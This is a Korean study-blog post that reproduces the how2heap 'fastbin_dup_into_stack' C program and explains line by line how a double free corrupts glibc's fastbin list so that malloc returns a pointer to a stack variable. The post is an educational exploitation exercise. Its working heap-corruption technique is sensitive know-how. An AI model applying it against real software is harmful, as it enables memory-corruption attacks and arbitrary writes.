hOwDayS 선린 10720
fastbin_dup_into_stack 본문
저의 방식대로 이해하고 쓴 것
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | #include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", a); fprintf(stderr, "2nd malloc(8): %p\n", b); fprintf(stderr, "3rd malloc(8): %p\n", c); fprintf(stderr, "Freeing the first one...\n"); free(a); fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); fprintf(stderr, "So, instead, we'll free %p.\n", b); free(b); fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long long *d = malloc(8); fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20; fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); } | cs |
fastbin_dup 기준으로한다
18 , 19 ,20 실행으로
FREELIST
a |
b |
a |
36 실행으로
d = 마지막으로 free 한 a가 들어간다
39까지 실행으로
FREELIST
a |
현재 d에는
prev_size |
size |
data |
이다
d 에는 a 가 있고
아직 a가 FREELIST에 있으므로 아래처럼 표현 할 수 도 있다.
prev_size |
size |
fd |
즉 d의 data를 스택의 주소로 설정하면
a가 malloc될때 fd에 스택 주소를 넣었으므로 fakechunk 생긴다.
50번째 줄을 실행한후 ( a malloc한후)
FREELIST
&stack_var - sizeof(d) |
다시 malloc을 하면
&stack_var + 8 위치가 malloc한 후 data 위치다.
즉 스택 장소에 malloc을 할 수 있는 것이다.
&stack_var - sizeof(d)를 했는데
&stack_var + 8위치에 되냐면
malloc을 할때 data위치의 주소는
fd + prev_size + size 를 한결과를 더해 준다
prev_size = 8
size = 8 이므로
&stack_var + 8 = &stack_var - 8 + prev_size + size 이다.
그래서 data의 주소는 &stack_var +8 이다
stack_var = 0x20 에서 0x20은 아래를 참고하자
malloc을 하였을 때 bin의 성질이 무엇인지 보게 되는데
data위치의 앞, size인 &stack_var의 값 (64bit라 주소가 8bit만큼 이동한다) 0x20(SIze) 을 검사하여 fastbin를 적용한다.
'공부 > how2heap' 카테고리의 다른 글
unsafe_unlink (0) | 2018.02.25 |
---|---|
fastbin_dup (0) | 2018.02.15 |